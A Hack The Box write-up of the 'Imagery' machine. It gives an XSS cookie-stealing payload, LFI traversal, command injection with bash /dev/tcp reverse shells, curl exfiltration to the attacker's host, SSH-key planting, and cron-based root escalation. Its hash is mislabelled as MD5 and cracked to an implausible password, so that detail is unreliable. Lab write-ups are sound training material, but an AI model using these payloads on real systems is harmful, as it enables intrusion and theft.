Post

HTB: Imagery

HTB: Imagery

Imagery is a Linux machine that involves exploiting a web application vulnerability chain starting with Stored XSS to steal an admin session. From there, we leverage a Local File Inclusion (LFI) vulnerability to discover credentials, leading to Command Injection in an image transformation utility. Lateral movement involves cracking an encrypted backup file, and root privilege escalation is achieved by abusing a custom administrative binary.

Setup

Before probing the target, I establish a clean workspace. I create specific directories to keep my scan outputs organized and my VPN configuration isolated.

```bash mkdir nmap vpns

Figure 1: Initial workspace setup

Reconnaissance Nmap

I started with a fast port scan to identify open TCP ports. I used –min-rate 10000 to speed up the process and saved the output to my nmap directory.

nmap -p- –min-rate 10000 -vv 10.129.242.164 -oN nmap/imagery-open-ports

The scan quickly identified two open ports: 22 (SSH) and 8000 (HTTP).

Figure 2: Initial port scan revealing SSH and a web service on port 8000 Service Enumeration

With the open ports identified, I ran a targeted scan to enumerate versions and the operating system.

nmap -p22,8000 -sC -sV -A -oN nmap/imagery-detailed-scan 10.129.242.164 -vv

The output reveals a Python-based web server on port 8000:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7) | http-methods: |_ Supported Methods: OPTIONS HEAD GET |_http-server-header: Werkzeug/3.1.3 Python/3.12.7 |_http-title: Image Gallery

Figure 3: Detailed service scan results

Analysis:

1
2
3
Port 22: The OpenSSH version is relatively new. It is unlikely to be the initial entry point without credentials.

Port 8000: The server is running Werkzeug 3.1.3 (Python 3.12.7). The title "Image Gallery" suggests a file upload or viewing functionality.

Web Application (Port 8000)

Navigating to http://10.129.242.164:8000, we are greeted by “Imagery”, a web gallery application. The interface promotes “Seamless Uploads” and features Login and Register options.

Figure 4: The Imagery homepage

Initial Assessment: The application allows users to create accounts and upload files, which immediately brings File Upload vulnerabilities and IDOR to mind.

Before attacking the authentication mechanism, I followed standard enumeration steps:

1
2
3
4
5
Checked robots.txt: None found.

Enumerated Usernames: Nothing interesting found publicly.

Admin Investigation: I began looking for a separate admin login or privileged area.

Foothold Authentication & Access

Since the application allows registration, I created a dummy account (user@user:password) to inspect authenticated features.

Upon logging in, I observed two key changes:

1
2
3
Session Management: The application issued a session cookie.

New Capabilities: The "Upload" button is now active.

Figure 5: Valid session cookie received after registering a test account

Figure 6: The authenticated file upload interface Burp Suite Analysis

I intercepted the image upload request to check for bypass opportunities. The server enforced strict checks on Content-Type and magic bytes.

I then turned my attention to the “Report a Bug” feature.

Figure 7: Intercepting the bug report request reveals a JSON structure

Analysis: This endpoint accepts user-supplied data in JSON format (bugName, bugDetails). If these reports are viewed by an administrator in a dashboard, this is a prime candidate for Stored XSS. Stored XSS to Cookie Theft

To weaponize this, I crafted a payload that forces the admin’s browser to send a GET request to my attack machine, appending their document.cookie as a query parameter.

The Payload:

<img src=’http[:]//10.10.15.218:8000/?c=’+document.cookie>

The Attack:

1
2
3
I started a Python HTTP server on port 8000.

I sent the payload via the Bug Report form using Burp Repeater.

Seconds later, the admin bot processed the report, and my listener received the connection containing the session cookie.

Figure 8: Python server log showing the captured Admin session cookie Admin Access

I copied the session value and updated my browser’s cookie using the Cookie Editor extension. After refreshing the page, I bypassed authentication and gained access to the Admin Panel. System Compromise Local File Inclusion (LFI)

Having access to the Admin Panel, I investigated the “Download Log” feature. The earlier source code analysis hinted that the log_identifier parameter might be vulnerable to directory traversal.

I intercepted the download request in Burp Suite and modified the log_identifier to traverse up the directory tree.

GET /admin/get_system_log?log_identifier=../../../../../../../etc/passwd HTTP/1.1

Figure 9: Injecting directory traversal characters into the log_identifier parameter

The server responded with the contents of /etc/passwd, confirming the Local File Inclusion (LFI) vulnerability.

Figure 10: Successfully retrieving the /etc/passwd file Credential Discovery

With arbitrary file read access, I enumerated the web application’s source code. I retrieved config.py (via LFI), which pointed to a database file db.json. Reading this database revealed a user named testuser and a hashed password.

Figure 11: Retrieving the configuration file

Reading the database:

“email”: “testuser@imagery.htb”, “password”: “5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8” // MD5

I checked this hash on CrackStation, which instantly identified the password as: iambatman.

Figure 12: Identifying the password on CrackStation Remote Code Execution (RCE) Analyzing “Image Transform”

I logged in as testuser@imagery.htb using the discovered password. This account had access to a new feature: Image Transformation (Crop, Rotate, etc.).

I intercepted the transformation request. It sends JSON data defining the operation parameters (e.g., x, y, width).

I suspected the backend might be passing these parameters directly to a shell command. I tested this by injecting a command into the x parameter.

Figure 13: Injecting a system command into the ‘x’ parameter

The server returned a 500 Internal Server Error, but the error message leaked the output of /bin/sh, confirming Command Injection.

Figure 14: The error message confirms code execution Gaining a Shell

To establish a foothold, I injected a reverse shell payload into the x parameter:

”; bash -c ‘bash -i >& /dev/tcp/10.10.15.218/4444 0>&1’;”

Figure 15: Sending the reverse shell payload

I started a Netcat listener and received a callback as the web user.

Figure 16: Established foothold as ‘web’ Lateral Movement Data Exfiltration

Enumerating the file system as web, I found an interesting backup file in /var/backup: web_20250806_120723.zip.aes.

The target machine lacked tools like nc or scp for easy file transfer, but curl was available. I started an upload server on my attack box (pip3 install uploadserver) and exfiltrated the file.

curl -X POST http[:]//10.10.15.218:5000/upload](http://10.10.15.218:5000/upload) -F ‘files=@web_20250806_120723.zip.aes’

Figure 17: Exfiltrating the encrypted backup file using curl Cracking the AES Archive

The file extension .aes and the presence of a python script on the box suggested it was encrypted using pyAesCrypt. I wrote a custom Python script to perform a dictionary attack using rockyou.txt.

Figure 18: Custom script to crack the AES container

Running the script revealed the password for the backup: supersmash.

Figure 19: Successfully recovered the backup password User Flag (Mark)

I extracted the zip file and found an older version of the web application. The db.json in this backup contained credentials for the user mark. The password hash also cracked to supersmash.

I attempted to SSH as mark, but password authentication was disabled. Since I already had a shell as web, I checked if I could write to Mark’s directory.

I generated an SSH key pair on my attacker machine:

ssh-keygen -t ed25519 -C “mark@imagery.htb”

Then, from my reverse shell, I wrote the public key into Mark’s authorized_keys file:

mkdir -p /home/mark/.ssh echo “ssh-ed25519 AAAAC3Nz…” » /home/mark/.ssh/authorized_keys chmod 600 /home/mark/.ssh/authorized_keys

I could then log in via SSH and capture the user flag.

ssh -i key mark@10.129.X.X cat user.txt

Privilege Escalation: Root Sudo Enumeration

After grabbing the user flag, I checked for sudo privileges to see if any commands could be run as root without a password.

mark@imagery:~$ sudo -l

Output:

User mark may run the following commands on Imagery: (ALL) NOPASSWD: /usr/local/bin/charcol

Analyzing Charcol The target allows us to run /usr/local/bin/charcol as root. I ran the help command to understand its functionality.

mark@imagery:~$ sudo /usr/local/bin/charcol –help

It appears to be a CLI tool for creating encrypted backups, but it features an interactive shell mode and automated backup scheduling. Exploitation via Cron Job Injection

The “automated backup scheduling” feature likely interacts with cron. If we can inject a malicious command into the schedule, it will execute with root privileges.

Step 1: Enter the interactive shell I launched the tool using sudo:

sudo /usr/local/bin/charcol shell

Step 2: Inject a Malicious Cron Job Once inside the charcol> prompt, I used the auto add command to schedule a reverse shell. I set the schedule to * * * * * (every minute) to get immediate results.

Note: I used a “blind” reverse shell payload to ensure stability.

charcol> auto add –schedule “* * * * *”
–command “/bin/bash -c ‘exec 5<>/dev/tcp/10.10.15.218/4445; while read line <&5; do eval "$line" >&5 2>&5; done’”
–name cronultimate

Step 3: Catch the Shell I set up a Netcat listener on my attack box on port 4445 and waited for the next minute tick.

nc -lvnp 4445

Within 60 seconds, the cron job executed my payload, granting me a root shell.

connect to [10.10.15.218] from (unknown) [10.129.242.164] 52912 root@imagery:~# id uid=0(root) gid=0(root) groups=0(root) root@imagery:~# cat /root/root.txt f5a…[REDACTED]…

PWNED!!

This post is licensed under CC BY 4.0 by the author.